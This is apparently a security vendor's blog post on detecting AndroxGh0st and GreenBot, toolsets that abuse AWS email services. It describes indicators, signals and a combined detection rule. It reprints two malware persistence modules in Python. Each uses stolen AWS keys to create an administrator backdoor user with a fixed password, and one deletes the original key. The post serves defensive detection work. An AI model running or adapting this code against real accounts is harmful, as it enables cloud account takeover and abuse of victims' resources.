Our Approach to Detection: AndroxGh0st and GreenBot Edition
Hear Ye, Hear Ye
Subscribe to Cloud Chronicles for the latest in cloud security!
Introduction
The Permiso p0 Labs team has one core focus: know everything we can about cloud attacks, and make that knowledge actionable to our customers via detections in our CDR product. When we come across an attack or toolset, we get as creative as possible to form detections that are high fidelity and span the Pyramid of Pain. While writing rules for the specific atomic indicators are necessary, we are always looking to also write rules that cover the Tactics, Techniques and Procedures (TTPs) used by attackers. In this article we will talk through our approach to detection for AndroxGh0st & GreenBot persistence modules as an example.
AndroxGh0st & GreenBot
We have been tracking various toolsets geared towards AWS Simple Email Service (SES) abuse. The Lacework team recently covered one instance of this in a blog post about AndroxGh0st. Another example that we haven’t heard spoken about publicly, yet similar in nature, is a utility named Greenbot. There are a dozen or so variants of these toolsets, all of which are being passed around and sold for nefarious purposes.
💡 Sidenote: The opsec on these for sale attack tools is horrendous, but that is a post for another day.
Detection Breakdown
For the purpose of this blog we are going to focus on a specific module all these scripts have, which is for persistence in the cloud environment. Here are two (2) examples:
AndroxGh0st Persistence Module
https://www.virustotal.com/gui/file/70f35dfd9650437229453570f53969fb1644b1d07f282645c27a3877752a68bd
def autocreateses(url, ACCESS_KEY, SECRET_KEY, REGION):
try:
client = boto3.client('ses',
aws_access_key_id=ACCESS_KEY,
aws_secret_access_key=SECRET_KEY,
region_name=REGION)
response = client.get_send_quota()
client2 = boto3.client('iam',
aws_access_key_id=ACCESS_KEY,
aws_secret_access_key=SECRET_KEY,
region_name=REGION)
response1 = client2.create_user(UserName='ses_xcatze')
response2 = client2.create_login_profile(UserName='ses_xcatze',
Password='ses_xcatze123',
PasswordResetRequired=False)
response3 = client2.create_group(GroupName='AdminsDDefault')
response4 = client2.attach_group_policy(GroupName='AdminsDDefault',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
response5 = client2.add_user_to_group(GroupName='AdminsDDefault',
UserName='ses_xcatze')
print(ACCESS_KEY + ' ==> Success Create User')
save = open('Result/cracked_ses_from_awskey.txt', 'a')
remover = str(response).replace(',', '\n')
remover2 = str(response1).replace(',', '\n')
save.write('ACCESS KEY : ' + str(ACCESS_KEY) + '\nSECRET KEY : ' + str(SECRET_KEY) + '\nREGION : ' + str(REGION) + '\n\n==> Created User\n\n' + str(remover2) + '\n\n==> USER & PASS IAM USER\n\nUser : ses_xcatze\nPass : ses_xcatze123\n\n' + str(remover) + '\n\n=================================\n\n')
save.close()
try:
sendtestaws(url, ACCESS_KEY, SECRET_KEY, REGION, remover2, remover)
except:
pass
except Exception as e:
try:
print(ACCESS_KEY + ' ==> Failed Create User')
finally:
e = None
del e
Greenbot Persistence Module
https://www.virustotal.com/gui/file/1ddf49a97a5c0c3670f394fc9678c74a0e1c41c939306ce9d73409dbabe6f358
def AwsUser(ACCESS_KEY, SECRET_KEY, REGION):
try:
print(ACCESS_KEY+ SECRET_KEY+ REGION)
import boto3
UsernameLogin = 'system'
user = ACCESS_KEY
keyacces = SECRET_KEY
regionz = REGION
client = boto3.client('iam', aws_access_key_id=user, aws_secret_access_key=keyacces, region_name=regionz)
data = '[O][ACCOUNT]{}|{}|{}'.format(user, keyacces, regionz)
Create_user = client.create_user(UserName=UsernameLogin)
bitcg = f"User: {Create_user['User']['UserName']}"
xxxxcc = f"User: {Create_user['User']['Arn']}"
pws = 'BfJm5nNTBuvdw3rMUgzNTmFVtZpmgpPKnC8AzxWHbLZwupg44fS7RRbBMWrmqB58CDSVja4gNEjYem3BDteRvgpfExQheKuK24tv9Eh7atgFxjJW8x3Lz7df@@@'
Buat = client.create_login_profile(Password=pws, PasswordResetRequired=False, UserName=UsernameLogin)
Admin = client.attach_user_policy(PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess', UserName=UsernameLogin)
xxx = bitcg + '|' + UsernameLogin + '|' + pws + '|'
remover = str(xxx).replace('\r', '')
simpan = open('Pegasus1337/IamAccount.txt', 'a')
simpan.write(remover + '\n\n')
simpan.close()
response = client.delete_access_key(AccessKeyId=user)
print(Fore.GREEN+'Sucess')
While these two (2) tools are not exactly the same, they share many attributes, especially at the TTP level. We will work our way up to there though, so let’s start with the atomics!
Atomic indicators
Atomic indicators are an important step in having detection coverage. We consider these foundational table stakes rules. They are easy to create, high fidelity, but are often too specific to be solely relied upon as it takes very little effort for an attacker to modify.
Atomic indicators in the cloud, especially at the IaaS layer can be a bit different than those in traditional, on-premise environments. For instance, file hashes hold little value in cloud environments. The types of components we consider to be atomic indicators in the cloud are IP Addresses, User Agents, ARNs, AWS Account IDs, IAM user names, IAM group names, IAM Role Names, and a bunch more. In the case of these two (2) persistence modules below are the atomics:
*As a bonus, we’ll include indicators from some of the variants we have collected.
Indicator |
Type |
---|---|
system |
IAM User |
ses_xcatze |
IAM User |
AdminsDDefault |
IAM Group |
Kontolz |
IAM User |
ses_fucked |
IAM User |
ses_xxx |
IAM User |
jSDSsajsnhjjjjjjwyyw |
IAM User |
arn:aws:iam::320406895696:user/Kontolz |
ARN |
320406895696 |
AWS Account ID |
pubg |
IAM User |
snoopdog |
IAM User |
iDevXploit |
IAM User |
Xproady |
IAM User |
Signals
Now that the atomic indicators are out of the way, let’s work on some signals for these persistence modules. At Permiso, we create signals that can be applied to event or session attributes. While some signals are great detections/alerts on their own, we often combine signals to increase fidelity and resilience. For instance, the IAM username ses_xcatze
is high fidelity, but easy for an attacker to modify.
-
Strong signals are capable of being standalone alerts/detections
-
Weak signals are often too noisy to be alerts on their own, but are great for hunting, or as components of a higher fidelity detection.
The following are some of the signals we generated based on the attacker tooling described above:
Signal |
Description |
Category |
---|---|---|
Known SES Abuse IAM User Created |
Using the atomic list above generates a signal and alert for any IAM user creations that include the specific IAM names we have previously seen used maliciously |
Strong Signal |
Known SES Abuse IAM Group Created |
Using the atomic list above generates a signal and alert for any IAM group creations that include the specific IAM group names we have previously seen used maliciously |
Strong Signal |
IAM User Created with Password Reset not Required |
Looks for IAM User creations where the password reset required parameter is set to false. |
Weak Signal |
IAM User created with SES prefix |
Looks for when IAM User is created with a name that starts with |
Strong Signal |
IAM User Created with Generic Name |
Looks for when IAM users are created with a generic name such as: |
Strong Signal |
IAM Group Created with Admin in name |
Looks for when an IAM group is created with |
Weak Signal |
AdministratorAccess to IAM User |
Looks for when the default Administrator Access policy is attached to a user |
Weak Signal |
AdministratorAccess to IAM Group |
Looks for when the default Administrator Access policy is attached to a group |
Weak Signal |
AccessKey Deletes itself |
Long-lived accesskey is deleted by itself |
Strong Signal |
IAM User Created using an Access Key |
Looks for IAM User creations that are done via access key |
Weak Signal |
Newly Created User added to Group with Admin |
Looks for when a recently created user is added to a group that has the default AdministratorAccess policy applied to it. |
Weak Signal |
Newly Created User added to Newly Created Group |
Looks for when a recently created identity is added to a group that was also recently created |
Weak Signal |
Methodology/TTP Detections
All the “Strong Signals” referenced above work great as detections/alerts, but in our Permiso platform we combine the weak and strong signals to create powerful rules that are resilient and high fidelity. Our detection logic applies to session data, not just event data, so we are able to introduce a detection that combines multiple signals across numerous events. Looking across the persistence modules for all these SES Abuse scripts that we have collected, there are a common set of actions that they perform in order to establish persistence in AWS.
In each case:
-
The activity is performed with a long lived access key (AKIA)
-
A user is created with the password reset set flag set to false
-
The user is given Administrator Access (
arn:aws:iam::aws:policy/AdministratorAccess
)-
Directly applied with an
AttachUserPolicy
or
-
Group Created,
arn:aws:iam::aws:policy/AdministratorAccess
applied to group, user added to group
-
-
The original access key is deleted
While any one of these steps may be too noisy on its own, we are able to combine them into a high fidelity and resilient rule. In the Permiso product we wrapped all this up into a rule called P0_AWS_TTP_MASSMAILER_SCRIPT_SETUP_1
.
Conclusion
Detection is our passion here at Permiso. We like to think of it as an artform that involves as much creativity as any traditional art. In this article we showed you how we took a single module of these scripts (the persistence module) and turned it into dozens of alerts and signals for our clients. Now onto the rest of the modules for AndroxGh0st and GreenBot!